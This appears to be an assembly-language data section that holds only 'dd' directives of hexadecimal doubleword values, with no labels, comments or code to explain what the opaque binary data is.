dd 0D880F5D2h, 0A2E69801h, 413B1100h, 0C446572Fh, 0AC905Ch
dd 0E1809E4h, 14453064h, 402F0D3h, 4068E363h, 720D4B94h
dd 7C4E2449h, 6CC541C8h, 16F0261Ah, 0BC27B4EBh, 5E0AED60h
dd 58C50310h, 0BD558D87h, 0D4CDCBA8h, 0D04E3300h, 7618E745h
dd 2EA4003Ch, 1CFBC4F3h, 0BB5DDD7Dh, 0C1AA84A8h, 72DB0420h
dd 298F620Ah, 58BE988Eh, 0E099018Ah, 23D36331h, 2E3319D0h
dd 0C90C5DDBh, 0F4A56089h, 0B8C61002h, 0C13BEA80h, 0A600BA57h
dd 0E7BC5B69h, 738E4377h, 3D7800ABh, 6A923E5Fh, 14B0417Dh
dd 0F655E21h, 5CB0309Dh, 10718050h, 0ED88A1h, 0CA3C12D7h
dd 6CB7AE40h, 0D5E28B0Ah, 0CAE79CB2h, 433C1029h, 22010EB8h
dd 32B277C7h, 0A0314748h, 0B0F4C4C6h, 90A099C0h, 0B5F78492h
dd 285D74C8h, 0F6B67601h, 771C0F63h, 0A769FAECh, 5091E816h
dd 2898D03Eh, 8AB82758h, 4E118498h, 0C7AC1B24h, 0F0347004h
dd 32CFFAEh, 0A3E64049h, 0D6853C89h, 0E2DDB280h, 0E09D3A4Ch
dd 0F0BA9F04h, 0C132AC1Dh, 95350760h, 3C0694B8h, 0BBD1FE89h
dd 0D3AC2290h, 1444B48h, 0F909468h, 199EDF16h, 40525F1Eh
dd 0CC3A6473h, 9A0B1513h, 0AC2CE927h, 4C5260E0h, 3059D0ACh
dd 8E88358Bh, 0EB280ACh, 7B5D0310h, 8466000h, 32FBD359h
dd 0CDC00C2Ah, 5A71C338h, 8D98D901h, 1A74BF07h, 0EF9ED44Ch
dd 0BAC0A850h, 63F40ADBh, 9F9998h, 4BD51552h, 549343E5h
dd 443B8024h, 5B30027Ch, 0B1A82614h, 790EBAC0h, 48363F00h
dd 4C9EC857h, 96B07482h, 6628054h, 0A047CE7h, 0BD5FAD00h
dd 30F84FD6h, 102DEF2Ah, 8127DD84h, 3A99E61Dh, 0A012EFE0h
dd 53DD98Dh, 0E0176396h, 0A8E008C9h, 0CE3A2C83h, 0E1BB8BCCh
dd 22F2A9h, 34E3D203h, 0A07B136Dh, 0C450A148h, 0A21687Ch
dd 0CB22D219h, 12A46420h, 1547AD74h, 6C941C89h, 389C1380h
dd 5891B16Ah, 28E08A4Fh, 469EDA0Eh, 44E95DF9h, 6A0726C6h
dd 1BC128EAh, 0AB296060h, 330C01DDh, 8D3CA5D6h, 0AFF0887Bh
dd 3EA391E1h, 95660069h, 7E1C8513h, 0C5125A1h, 20124EF4h
dd 8CE81C30h, 13457F86h, 4054FFA5h, 84745D90h, 5253FC0h
dd 17F422A8h, 0B838036Dh, 2F7CA10Fh, 0E5B8042h, 755F1A5h
dd 75D92B45h, 0F06547ACh, 4CCCC985h, 34A8CCB9h, 2954CCB0h
dd 8D01B6FCh, 568FEE2Fh, 0C4706AABh, 0CAD1C5A7h, 3894C874h
dd 0C627FC90h, 927C1052h, 609558A0h, 7F700B92h, 7890609Bh
dd 929A020h, 0C69160C5h, 3DF82800h, 0A90A2F76h, 2055B600h
dd 4C44E85Fh, 0B72209E3h, 64669BAAh, 0A20955E4h, 2E213ECBh
dd 8BDC9400h, 88E40108h, 0D01EBFFh, 2882D47h, 135A2849h
dd 0A960B1C1h, 664210D2h, 4F74588h, 0A4E6E040h, 11D4E61Ah
dd 0CF27FD58h, 0A8572030h, 4C58A44h, 50743343h, 8F14E0DDh
dd 0AD85C201h, 95A17FB6h, 7C406409h, 50B8F062h, 90104C22h
dd 8EC705ECh, 62AA556Fh, 0B8511BA4h, 1D2A5091h, 0B9CA03D8h
dd 264FD2EFh, 60E98C0h, 4580ED01h, 0A0B0E925h, 420A2C74h
dd 744A00A7h, 107DC168h, 1A4F0FBDh, 0F09E8BFCh, 0F2CB7F70h
dd 2BBCFF55h, 8415FCB1h, 7FA2D8D8h, 6CAE0C5h, 547412Dh
dd 0DB8029CEh, 591D5EE2h, 0BEC9BD69h, 4BDC30EBh, 8040949Eh
dd 94DAC9A7h, 0DD00C44Ah, 7C908720h, 2088DDCh, 0F90E5923h
dd 464EBCBh, 80E83E26h, 1E65BA60h, 0ADAE0074h, 0B0938584h
dd 0A200D5DFh, 0C93AF24Eh, 49AF47C2h, 0B48430C6h, 0A4009372h
dd 60C533FFh, 3B5D40C0h, 0AAAC1109h, 0B79004C6h, 40F7B445h
dd 1F83E4F8h, 0C1F47DD4h, 345D530Ah, 29C2E424h, 41245961h
dd 0F447A6FAh, 0F8000A9Fh, 0BFFB1524h, 1A9AD9E7h, 29ABEB29h
dd 0CB8FAF40h, 0CA30EC3Dh, 0CE74E032h, 0B5291480h, 88423465h
dd 56E1DA00h, 159B725Fh, 0C1AFD000h, 32EA2C43h, 1E7759h
dd 0E68288B2h, 69BE8A61h, 11683362h, 48184042h, 600B83AFh
dd 84C6A95Ah, 8450CAA4h, 864780DDh, 0F29DE5D7h, 0B18DBB08h
dd 0F2BC6421h, 407A1CACh, 490F59C0h, 0E665C019h, 765821h
dd 0CEE4F381h, 757FCF9h, 0BF45E301h, 0D229D6C0h, 0C1222837h
dd 66E827FCh, 0FC1D2307h, 53114AAh, 0D427A94Ch, 8C535415h
dd 3696A00Ch, 0D7603871h, 2E0B8449h, 55240050h, 2080FFA0h
dd 9E3B4C3Eh, 0CBCA8032h, 0C1BF0C9h, 69C504C0h, 0F51577B8h
dd 126BC984h, 5130625Ch, 20F428DCh, 4316FE8Ch, 8C884CA7h
dd 41438696h, 39F80B96h, 0FF232C64h, 200D00FEh, 32DF75CBh
dd 0BFEBE800h, 8972E681h, 29462473h, 0A73A841Ch, 0FA90C1E3h
dd 0B12C20FCh, 9031F52Ch, 0E35C055Ah, 54BE8C0h, 0AE5E8869h
dd 0F4059B7Ah, 7C8E9239h, 0CC38ECC1h, 579F2180h, 9A5301FCh
dd 15692F07h, 8AA08F2Ch, 5C5512AFh, 0DCC500B6h, 8AE02013h
dd 0D2901C05h, 4801DF90h
dd 5915B143h, 8EC0C67Eh, 589E00ABh, 0BEE157B7h, 0F8C05C93h
dd 0B5CC42F3h, 3C5458DFh, 9D9A9900h, 274FC301h, 0E6700E12h
dd 459B8088h, 0A43337h, 52DF26CBh, 0C0BE7C04h, 6B0C65ACh
dd 140E3B82h, 0C40D13FBh, 0B8CD4305h, 25FCF402h, 2A408198h
dd 9EE848EBh, 0E000B0B1h, 4A733E89h, 17EA2E4Ch, 0E66B0818h
dd 0F03AF30Ah, 4E4BCE61h, 0E0989C29h, 23022A16h, 0C87ADFCFh
dd 93D160AFh, 5C089027h, 33D78477h, 88944220h, 0AC0E9FB4h
dd 0D2A6D2B8h, 6E4D8471h, 68655842h, 0F29418BCh, 3D5F002Bh
dd 0C4E235C5h, 6300A522h, 89FE89Bh, 16627778h, 20B2404Ah
dd 0DFC0D378h, 50C2EA1Fh, 14F252C5h, 60056888h, 7C5CD1D5h
dd 30F408E6h, 754F9912h, 54DE7060h, 0B6BB3A76h, 0BE78F8E0h
dd 1B595351h, 133882C0h, 202C20C3h, 5D095A57h, 6842D326h
dd 97DCA4h, 8CA57C47h, 0FA1ABFFFh, 3CC5D802h, 60ABF5A8h
dd 287529D3h, 56A4E3DDh, 0B511EC40h, 6FB41363h, 0DC961440h
dd 0CDDD02h, 8846C6FAh, 0B035C274h, 404C4D00h, 0D7D253Dh
dd 0C922AA3h, 804C91BCh, 8EC486B3h, 2D980942h, 0D1CD1800h
dd 923EB152h, 1C784EA6h, 1B9D110h, 1CE4AFC1h, 5CD14A12h
dd 44A7C460h, 5307F3D6h, 0C75445FFh, 0E87F177h, 2894C680h
dd 1D70A8h, 0F1E5FC8h, 79C705AFh, 8D0066F8h, 50ECAB52h
dd 2C1AC4h, 0A9535A07h, 15FE0205h, 0B0017B70h, 10F3C896h
dd 1DFF117Dh, 30F11A60h, 6DE58C50h, 1B20C4Ch, 6F696C07h
dd 28871039h, 10F736FCh, 789F7E8Dh, 0F09B931Dh, 244FB83h
dd 87C094CCh, 636B028h, 2C5F3CBEh, 0B60359E7h, 4EB7CB7Eh
dd 0F6A08012h, 111FECFh, 0A8999FE5h, 0FD8F2750h, 75D98002h
dd 0F3C384E9h, 7695273Dh, 0EDA6A0E0h, 0D7086500h, 0DC5B547Dh
dd 7FCC00DAh, 0EE4D10A2h, 71374491h, 0EF13B138h, 8CDAD0D1h
dd 756703D8h, 7384CBBDh, 3CB250B8h, 0F803D400h, 32D54F28h
dd 14617C09h, 0BC3E1086h, 74FE5F00h, 0F42FF9DAh, 400EC9C0h
dd 0F615BAh, 0BCA11AF3h, 0E6EBF5E3h, 4AA9A403h, 4603D0h
dd 0AF617DD0h, 12E768C5h, 2595CE07h, 96A0591Fh, 506E7241h
dd 3A86C02Eh, 2F402716h, 7669FE60h, 0F0D9FDh, 97320A8Ah
dd 0B22D5280h, 30307CA4h, 8A26A93Ah, 0EB970052h, 0A787EE65h
dd 2100FB04h, 0FDBDECFCh, 0D8F0CBh, 2D69675Fh, 911DA6B6h
dd 34FC2224h, 18984115h, 4C513B30h, 5C8501D4h, 0BBA24D9Eh
dd 0A768708Bh, 0B87448h, 25D61E1Ah, 1D71D464h, 77A2E454h
dd 75C92C90h, 0A79E9124h, 723DFF05h, 55501C0h, 0CCDC023Bh
dd 85D624D5h, 917080A2h, 3235F0A3h, 50199FC0h, 47BDF50Fh
dd 0FB00DF49h, 0A8278012h, 0A17714EAh, 0BD003431h, 0D5380CAFh
dd 0FB156654h, 3286A0Bh, 41FC7F59h, 158A052h, 69B11429h
dd 1EC9C496h, 0CEC02438h, 0AE32C18h, 3CD6F828h, 52001E38h
dd 8B1128A1h, 0EF03494Bh, 89DAF408h, 60683D77h, 173FC56h
dd 6606C427h, 0F8399AD4h, 8615FB85h, 0AB03813h, 80B6D341h
dd 23479244h, 6AE1E647h, 0AE395E05h, 5826F994h, 5310A838h
dd 0C06106A4h, 789F11D5h, 42128614h, 0BD801B30h, 61786F29h
dd 85BA1181h, 0FEA04812h, 0FC004979h, 192D5A8Fh, 28866A98h
dd 87243B0Ah, 0B4120ED4h, 6989E380h, 860235E9h, 0AC547292h
dd 330440A5h, 5088AC48h, 0ED22831h, 9B16214Bh, 0FEE0994Eh
dd 1BBCDC0Ah, 0F0901F70h, 0EFAA5F00h, 5D780CAEh, 0D9F312BAh
dd 20502545h, 8BBF094h, 0C300D470h, 166FC5CDh, 13616284h
dd 61057A59h, 988F702Ch, 65EC36B9h, 7551004Fh, 108B1DE5h
dd 82AF06Ah, 4970F8F7h, 11C50500h, 0B0599DB9h, 9BFCA027h
dd 87538848h, 548A9E88h, 26CBC8CAh, 60B0160Ch, 30221D72h
dd 97E8074h, 0A9583600h, 6A2407E8h, 872512B2h, 86FC2C1Ch
dd 90E23F00h, 0A23EA68Ch, 1F583F1Ah, 61E50384h, 60A08244h
dd 7827FCB0h, 41F96930h, 3A926574h, 4E070C32h, 1BF3B7C1h
dd 0EB819800h, 7F006806h, 4D828522h, 1804027Ah, 892431F8h
dd 480EBD1Dh, 0E8108EAh, 761CC0ADh, 3AB39825h, 0F8C80EECh
dd 24A6BC10h, 31E37C64h, 814900CFh, 0BA7CCCE6h, 0D1DC1ACh
dd 0E0821EAEh, 48D50C54h, 1E92394Ch, 1C4EB9F1h, 0C4591458h
dd 0CCA10215h, 3706F483h, 0EC5488BDh, 981F988h, 966FAFDDh
dd 0E5B16880h, 0E898D78Eh, 88898F29h, 205D1209h, 0A86BB160h
dd 0E1900158h, 9C44B06Dh, 426ADDAFh, 7320A3F0h, 80769B6Fh
dd 503810F1h, 49CC47h, 0E6D55516h, 9240319Ah, 0E5890168h
dd 0F395516Fh, 0E0F9F9F4h, 60029A13h, 645E4767h, 0FFDC61A4h
dd 76E040CEh, 155431F3h, 0BB3D3061h, 51BD8049h, 0B398E14h
dd 0DE5D2425h, 1D5C028h, 7100CAF0h, 0FFA8D4C3h, 95BAF49h
dd 812989BEh, 7DC30018h, 991F3DF6h, 78C0B364h, 0E508414Eh
dd 3BA900F2h, 0FC2ADA76h, 0BCACA469h, 4D54F415h, 5C6C50B4h
dd 0A8C21288h, 0BC07A0h, 0B9FC27CDh, 22661679h, 171DFEE4h
dd 2AC4048Ch, 4C98C310h, 0DC6A0F08h, 899C3647h, 3820E096h
dd 5AD54C65h, 28610734h, 3E9CDCh, 0FE921C65h, 26ABB2CAh
dd 4FC18F18h, 18DA7591h, 11EF2F04h, 3260E11h, 4900F588h
dd 61DD1FB9h, 2A9F0010h, 0D160B63Eh, 0A093D707h, 70899E0Ah
dd 9D707305h, 7FC8C840h, 78D590h, 0DA4C6830h, 2A0C9912h
dd 0CE77FA05h, 7052C1A9h, 68DB8830h, 0F185004Bh, 96446018h
dd 8FF6F409h, 0BB00F4A5h, 14490AC8h, 0EA780922h, 3C8956FAh
dd 887BB403h, 30273008h, 86FF8040h, 3738E95Ch, 0D04CCF00h
dd 0A6F6AD84h, 3A702A68h, 2D9B00D8h, 9E804720h, 831D6F41h
dd 68400B31h, 5160EA52h, 291E2A58h, 0B642BCh, 0CC4B920h
dd 497B24D0h, 1D04CCD2h, 8B69B7E3h, 11E6085Ch, 20CE1D53h
dd 22C3103h, 88DF1B62h, 1FC68B52h, 108F6C3h, 14EA8A0h
dd 557C30ACh, 6AAA1509h, 7F888069h, 128FE7DBh, 6128FB59h
dd 245A1244h, 7A14F338h, 31E7E815h, 26D284FEh, 2187FC72h
dd 2B9911D9h, 86707429h, 0A045142Ah, 98FC9E02h, 0C95E0F08h
dd 0F422EFE0h, 84902869h, 892552Fh, 0A6F1C92Eh, 2BE1FC01h
dd 5C7314D7h, 9226CA00h, 798C91CDh, 2F4AB58h, 77A9F5BCh
dd 4D38C4E0h, 0CB8560A0h, 7DF00695h, 8673D98Fh, 0C87459h
dd 161069FEh, 0B0A7473Eh, 0C16830F0h, 769C7029h, 8DDD80h
dd 0B7FA0E44h, 3C51E53Fh, 0F0858109h, 60B0482Fh, 6699004Eh
dd 145B0121h, 0DE248D70h, 9260AC4Bh, 0C0FB8A8Fh, 201D7331h
dd 780014D1h, 679B02CEh, 24F718C5h, 802C4370h, 55F6A7Bh
dd 5B00627Eh, 9E8CE9F1h, 25450B5h, 0B27D35C8h, 0E0B098B8h
dd 1513DD26h, 5C130785h, 0DC8FA81Eh, 406E4F2Dh, 0FC06337Ch
dd 58B0BAD4h, 8C10281Bh, 0C5027EA2h, 6E887F8Dh, 8B446050h
dd 43C841C9h, 995C4CA8h, 23938E7Ch, 0C8D57908h, 0F46742h
dd 49EA2535h, 0FC5D7B2Ch, 53D6F058h, 9C90244Ch, 998F2360h
dd 0A7F474h, 49E31A5Fh, 545B8B3Fh, 87F28D00h, 9BEFFC3Ah
dd 0DA56056Eh, 2C7F28B4h, 490050D0h, 0F80177FBh, 1DB4E5F2h
dd 52802B10h, 0D6389819h, 0C0F8F65Ch, 20D998B4h, 52272C1h
dd 9CFEBFBCh, 53809C28h, 64963494h, 49FA309h, 0F7445F64h
dd 0ECB2FDh, 5EECBE5h, 10B467D8h, 532731h, 0AA424A08h
dd 10B7035h, 736CE8F6h, 6116EE4Ch, 29986682h, 730340A4h
dd 0A019E32Dh, 58D734D8h
dd 3C068872h, 0C99654F9h, 69A49E31h, 0A4726A1Eh, 5778A81Fh
dd 8404BA48h, 3CC866D5h, 11D9151Ah, 0C900A4C4h, 2C0FA5AEh
dd 36C015BEh, 0A99860B3h, 0BB5E3B01h, 475C147Ah, 88A4E429h
dd 9100B7DCh, 0E18F40F9h, 0DD39EEh, 0E0B2E4C9h, 9AA89B95h
dd 710C6E0Ch, 6B319Eh, 3FC90B81h, 30CD21DDh, 0E1BC9002h
dd 0B091CC20h, 92062FD8h, 6EE70040h, 8EBA1BD5h, 980E7A25h
dd 0A089519Fh, 7B13C216h, 742A26F9h, 2C57C250h, 0D3EE1C72h
dd 42AB3800h, 0ED53E7F9h, 0E0C23879h, 425C9CA6h, 76244313h
dd 3E08A4h, 24BC1DAAh, 0F3F4BD7Dh, 0D7550E12h, 8A709C08h
dd 80C00930h, 0B1A0F9ADh, 0F89C46DEh, 0EF70E567h, 819EC97h
dd 0F8C08F54h, 81284A4h, 13F710D0h, 0E44003B6h, 26312937h
dd 66525900h, 6985E91Ch, 0E0180711h, 0A24A0CE2h, 6C4071h
dd 9444A898h, 1A7E022Bh, 67D49BDEh, 0CA3A6C45h, 5CA4EC24h
dd 0F88E1C2Dh, 42FB1D3Fh, 0CB858487h, 7F0CA7E0h, 95B01892h
dd 0EC869C02h, 466964DAh, 0DF6D00C4h, 99652CB0h, 440445F3h
dd 16FD82C5h, 0C9D4C0C2h, 93BD670h, 4C227E64h, 2408097Ah
dd 0AEF7B380h, 1F52F94h, 610CA5D5h, 2C141BFDh, 0EA06D86Ch
dd 9DD90FC3h, 0C5829AD7h, 58E0DBDCh, 46098859h, 336A905Ah
dd 0E0E6A428h, 4200DC42h, 0BD59C950h, 48F1A001h, 57005878h
dd 42FD8AD3h, 52DB0687h, 85809C44h, 74B64EE1h, 2A8C7502h
dd 6156C108h, 0F4106314h, 0E1C29905h, 4B50C09Eh, 94DCE100h
dd 0B0465512h, 0B6283400h, 2D85ABC4h, 0EFA4027Dh, 0A09E4186h
dd 0C001859h, 46CD29B2h, 0EE1F007Eh, 9198502Fh, 510BAD5Ah
dd 990499D8h, 0C0FC7FBCh, 0EEE31419h, 1C00700Eh, 62934F82h
dd 6A2CA18Eh, 846920DCh, 90545B88h, 0C4790837h, 0C4CC9747h
dd 16CF5A0h, 527FBEBCh, 7A1262ECh, 125A0060h, 201C4DF1h
dd 0EDFA3BF8h, 69F79516h, 0E9E84B0Fh, 0E454E650h, 0B0B11Ah
dd 107A2F92h, 0F600387Dh, 89D8347Fh, 0C2132AFh, 910C4897h
dd 100ABA9h, 802C4CFCh, 5D38F631h, 87887060h, 8FBB2D80h
dd 176DA50Ch, 0EA8E4D7Dh, 0EE3B0F03h, 14988C78h, 14F68824h
dd 3D947601h, 0B017E20Ah, 5A051F4h, 0E91D86F8h, 0D668A0BBh
dd 0DC41114Ah, 9BC5C85Ch, 777CE30h, 85B0453Ah, 0CF5461D0h
dd 0E627F826h, 4AB8D20Bh, 0E848AEF0h, 0E42449h, 85483AB2h
dd 24028339h, 281F7C4h, 0A94B015h, 0DE100092h, 0B627EE1Ch
dd 930211A6h, 8672D8B8h, 17C8E40Fh, 539F8941h, 48386898h
dd 26284712h, 1DB51F0Fh, 23F6F0AAh, 6C8D4303h, 0E180D5F8h
dd 59804131h, 73BEC4E1h, 4300874Dh, 3461C82h, 0C8F7FA30h
dd 1F85DED0h, 5C0053ACh, 9AD2F184h, 722427CEh, 0B028ACA0h
dd 0CA1F5DE0h, 0F82C42C1h, 5A82740h, 1190601Bh, 5E9592A6h
dd 0CC57A305h, 6C327FC9h, 60863AABh, 2F5BB139h, 4D02E047h
dd 9C554810h, 36651C1Dh, 8EACC02Bh, 0FAF60DA8h, 0C0143E4Ch
dd 78B934C0h, 0D65B0E4Fh, 5C64C2A0h, 8FACB080h, 0ECF7BC26h
dd 61D9E70h, 4927AA05h, 24B2E9C9h, 30F49344h, 9E319047h
dd 0A1D004C2h, 70634FC0h, 51AFC092h, 64051797h, 0F37070FCh
dd 0EE8895FEh, 0C60A0062h, 504AB4CDh, 6649E173h, 9010DFF0h
dd 8C461289h, 2F4E24B0h, 0FD9B6C41h, 91E815CAh, 0A759001Ah
dd 6AD9D1B0h, 0C22876BBh, 0CA44F485h, 0BCD33241h, 8F27059h
dd 76FD905h, 0C0FF1527h, 0F0315BC0h, 0FB414702h, 51B0AFFDh
dd 61818F98h, 0C6E41141h, 80C3D11Eh, 0C477C851h, 0FF651h
dd 41CB1AB4h, 9D93F928h, 5B9CA501h, 9701805Dh, 1498C58h
dd 0FAE93CCFh, 2D4F8F34h, 48751E38h, 292892BAh, 0BCB21864h
dd 0C6590B01h, 307BE332h, 0DB584F9Eh, 0B3A000FDh, 9180735Dh
dd 890C9411h, 0A46C637Ah, 1FE7D301h, 0ECF84F90h, 0A4B55A30h
dd 603E0574h, 35C1D3CEh, 2F4488C4h, 1FAF244h, 0F819FFE8h
dd 0CCF7069Ah, 0B9098140h, 0C8108724h, 74D2FE08h, 77E9120Ch
dd 0A28874C6h, 0CEC43F2Ch, 0C003820Eh, 5107B935h, 21D0003Bh
dd 1AA2056Ch, 4B4CF50h, 886098E9h, 47778455h, 6F90E18Ah
dd 0A400BC39h, 559BDD7Fh, 8C48ABFFh, 48FD2290h, 0A4803C12h
dd 0C42313C9h, 9D885E12h, 4A8E2404h, 0DA74D600h, 770BE846h
dd 901DA998h, 0D750CCh, 27626D9Bh, 34E73CAAh, 301D4826h
dd 9219D6C0h, 12B50411h, 0B43126D9h, 0B39EF5Ch, 0F26D00E0h
dd 0ED720DF5h, 0C87BBCh, 3A92E3A4h, 27A89C3Fh, 0D8C6D524h
dd 0B8907092h, 50CA389h, 8B67054Fh, 0C4B47428h, 5F18A005h
dd 99021B25h, 97E112C8h, 0DC22BC2Dh, 48C39E25h, 0E817300h
dd 5CE95382h, 0B369DB64h, 0CAC90030h, 0CC1240EEh, 70B4B4F5h
dd 2D0065E1h, 94900CBDh, 9C5F674h, 60018F37h, 1B8214C7h
dd 4431F753h, 79820124h, 17052286h, 436C20DAh, 35EF4900h
dd 3E8010C3h, 0A29F0004h, 2601CFBFh, 670078B1h, 8B88A854h
dd 79B6031Bh, 8F4F156h, 0A51E00E8h, 7A4D8ADh, 7B3AF020h
dd 4B097E7Ah, 8001F87Ch, 35FD01Dh, 0E5C918B3h, 11B028A3h
dd 6E0FCC00h, 96AAA504h, 82F0EB3Dh, 0B108C054h, 0E741ADB7h
dd 32448A00h, 0C07B4FF8h, 13B403BDh, 91A4FDC9h, 1D5EAD8h
dd 0B86EF900h, 3541C2C1h, 53A10024h, 0EF9E582Ah, 0BCAB9FEAh
dd 92475900h, 769CA9D0h, 0C1A40EB3h, 9A061EDh, 94B0EBB5h
dd 68A0B72Ah, 680CE3h, 0FFFB2767h, 0AC5D48E7h, 8D06567Ah
dd 0A0473025h, 4C1EFC29h, 5E016B78h, 0C62A7F50h, 6E49C4E5h
dd 72BFC100h, 0F5162280h, 767D0383h, 356DDF1Ah, 0FB6EA11Bh
dd 7187C049h, 3FFF00E6h, 0EF1B01C6h, 0A504C76h, 0F11F03BCh
dd 0C305C967h, 0DC007FB4h, 4F76C774h, 97C7D5Ah, 3F14691Bh
dd 0C3909A88h, 310FB3C3h, 0AF3F9E10h, 2D4F0Fh, 0A5143BF7h
dd 80DA54A0h, 6B4B09B6h, 1F8C67DEh, 1B492CA1h, 0EEC91514h
dd 30F316E8h, 0B0B603BEh, 5FC845ADh, 0B11E87AAh, 5943223Fh
dd 90258524h, 515C8175h, 82CCDC97h, 0F2F9C0F9h, 6BB71412h
dd 0E30041B0h, 0F744FD5h, 31DFB221h, 5C295167h, 359050AEh
dd 5B07C713h, 2A706BC0h, 0DF7D2330h, 597F003Bh, 76DE629Fh
dd 9CAC1AE3h, 41B15C30h, 0D9B992h, 0B263F711h, 0D7A4765h
dd 0E60F19E2h, 0B5B709D7h, 1CE2DE9Ch, 0C7B670ADh, 803F07EAh
dd 0B5EFE150h, 812459C0h, 930B862h, 0D73540A1h, 7BF69830h
dd 57AF4700h, 4BB76B07h, 0E1649196h, 83DC5FA5h, 47D12070h
dd 0DD610EAAh, 58E0F73Dh, 186BDC5h, 30030FAh, 9AD07EBBh
dd 383A05Dh, 37E74233h, 0A011B52Fh, 0F453B67Ch, 85C15900h
dd 0B307AE7Ah, 343C3700h, 8FFB1ACFh, 788C48DBh, 24FA7B10h
dd 4C2A1203h, 0AEAA6138h, 3809E232h, 0C308B81Bh, 0CC94A8E9h
dd 9781E93h, 7000BF0Ch, 1B3A017Bh, 5C505243h, 31002268h
dd 919F417Eh, 3C00297h, 0DCBC5863h, 23B0FCF4h, 8572B104h
dd 6027E7h, 8BD34806h, 29E765h, 0D8E52C43h, 9ACAD2Eh, 0F0258C05h
dd 0CC210CE9h, 582564DFh, 20A92442h, 7D88EF4Fh, 0D0002CE2h
dd 0FB478071h, 74DE6AA4h, 4831C959h, 0CFD16402h, 1B76B202h
dd 0AEB8E0D0h, 95834A9h, 7ADD1DCh, 81E686DBh, 0DCEE507Dh
dd 0A41BDE82h, 0C129E157h, 4180056Ah, 603F133Bh, 5714C974h
dd 0A480F6BCh, 8715E020h, 0DE660F77h, 24207BFFh, 0BAA46B47h
dd 0BB4D3B01h, 0B8B26735h, 316ECC40h, 0E0AB21h, 331A9450h
dd 83772353h
dd 86EAFA00h, 18E5AE3h, 99E060C9h, 0A1D03851h, 0C69938h
dd 77B8A7FFh, 935481Ch, 365BDF55h, 50F85C91h, 0BF60230h
dd 18491B32h, 59802016h, 0FD26CC91h, 91CEE0FAh, 49EE7C80h
dd 88A8A55Ch, 640F8088h, 74289D4h, 20B7C25h, 41138227h
dd 0C31724B4h, 0B91CE2C8h, 0F7DCE71Dh, 0DC8E2800h, 59421F7Ah
dd 3800042Ch, 0FF81ADF0h, 50EAD3AFh, 60A8C625h, 39619E05h
dd 3EB13A33h, 0BD16C228h, 0C7CE806Eh, 0F91A4A2Dh, 8A070054h
dd 0C10197DFh, 4467E840h, 2F705598h, 13B18B8h, 609F38CEh
dd 5040D9A0h, 0B2F70928h, 0D55D80h, 0C84BA156h, 5F8448DCh
dd 8E624E00h, 93876030h, 0A02C0379h, 2F9B19A2h, 8092E9C8h
dd 3C0E36F6h, 21F995BCh, 293950CBh, 2263CCh, 9A81A1A3h
dd 1B6035A7h, 5E0C9B7Fh, 80CD1120h, 0B9AC1C62h, 0D9CAC0EAh
dd 0C0F7D7A1h, 9587F0Ch, 0A4E902h, 6CBF1069h, 0BE0BAD0Ah
dd 71624A01h, 0CF7D9BF6h, 0A8914886h, 21303105h, 0B894F120h
dd 0AA67058Fh, 8362D29Fh, 7BE8AE3Fh, 0D814107Dh, 0C080CA08h
dd 0F858EB9Ah, 9BD200B7h, 95B9CB8Dh, 5115B1DEh, 829CA1E0h
dd 23EFB091h, 717C98F7h, 52896324h, 0A0186018h, 2273886Ah
dd 0AB16F1C0h, 0EA66ADECh, 0FB5306B5h, 0B8E54DAAh, 2EE91E44h
dd 7EBB075h, 0C09643D8h, 72AD4216h, 35565A00h, 48631710h
dd 60C07D65h, 99CE583Dh, 58011BA1h, 2FCF0E93h, 8884CA84h
dd 406BC138h, 0C3B02AC9h, 0F4FC75h, 8C63EB2h, 0C224379Ah
dd 4D070500h, 0CBF8CFA8h, 0D79E0551h, 607B26D1h, 94C321C8h
dd 3E9C900h, 375778C8h, 608E7CF3h, 0EC8D71C7h, 0D3003E95h
dd 0F8B03314h, 0E2E2FB77h, 0F54201AFh, 0A02E3271h, 0ED998D19h
dd 3BE008F3h, 1FEA18AEh, 0A662B111h, 44496BFAh, 535F3E3Ch
dd 14E80284h, 4326244Dh, 2A6CA83Ch, 7A33008Ch, 92824658h
dd 0AA83DF97h, 9AD899B4h, 8D153009h, 5784A602h, 910F2335h
dd 184309D4h, 0FC3A8017h, 1BE60393h, 9555B5A8h, 6CC1801Bh
dd 83269849h, 4FD91C78h, 7EE67Dh, 9EDE0C0Ah, 25057ACBh
dd 5C59B5B3h, 4B6DE042h, 20DCAE3Ch, 608F5495h, 0A13B0CABh
dd 0ECA11B21h, 8BA4A00h, 472AD586h, 221000F4h, 0CD16961Ch
dd 631EA451h, 9409F741h, 0CC3424FAh, 8E45E640h, 9F1872B3h
dd 0A150CA5Bh, 34DA4856h, 0AA2707C0h, 4000554Ch, 0CC8013D3h
dd 0C0659196h, 772581F8h, 0B402D833h, 9CF70F8Bh, 21B84488h
dd 1F11274Ch, 1DF91500h, 6234A282h, 36E1DC02h, 48C62068h
dd 0AD480Ch, 0A681C112h, 0E25A1CB5h, 0C3395F00h, 0F8B3E8DAh
dd 0BDA90598h, 5E578F71h, 1C381194h, 97C1F688h, 16A2DCA0h
dd 91BA0FCCh, 14C90114h, 0F4819CFDh, 0EAFCBC1Bh, 417911B0h
dd 39C1B300h, 0C4E4B0E8h, 0A62D00CBh, 0E723F00Dh, 987218DAh
dd 33C6C302h, 81213296h, 995B5C58h, 768ED4h, 85917CD9h
dd 0B13F787Dh, 736A53Eh, 0BE65ACA6h, 0F2838C5Ah, 0A0E6681Dh
dd 3B0C9Eh, 285ABECh, 170F8C97h, 0EB45895h, 0FCCB5E13h
dd 0B7D68120h, 3B078864h, 797313Dh, 2CD81859h, 0C89B0093h
dd 0B490506Ch, 0BF008A71h, 97CBB7E5h, 4D799DC7h, 3902F0CFh
dd 83D105D9h, 7CC2DC81h, 0F1CC501Dh, 54E1B792h, 3C4C82D8h
dd 0B9A1C220h, 25E1CDAh, 14EF8049h, 3E5CFE70h, 7D343B1Eh
dd 0C8422070h, 0BC230027h, 3F0C5414h, 50F521D4h, 0EBEF9994h
dd 231F2A03h, 885EA53Ah, 76C30A7Fh, 0B56E0432h, 902F79ABh
dd 6E939A8h, 4CA9F960h, 54741D7Bh, 0A2E429h, 990FCF0Dh
dd 0A8F9CB75h, 9048B690h, 58C11808h, 0A00F16B9h, 0C4D9DF5h
dd 0ECD82046h, 0BDECAE41h, 1AC88F54h, 6E0090EAh, 0ACD2CBEEh
dd 2699F59Dh, 7E89AE4h, 4143103Ah, 349FBDC0h, 0EF4908E0h
dd 415006C0h, 4818D739h, 5300BC13h, 803FC1B7h, 78014E5Bh
dd 83979C51h, 0B8588CCDh, 891C1h, 0E70FB41h, 0CC013106h
dd 6697E7E0h, 0E0202C0Ch, 9D07139Eh, 2F580BF7h, 2341E58Ch
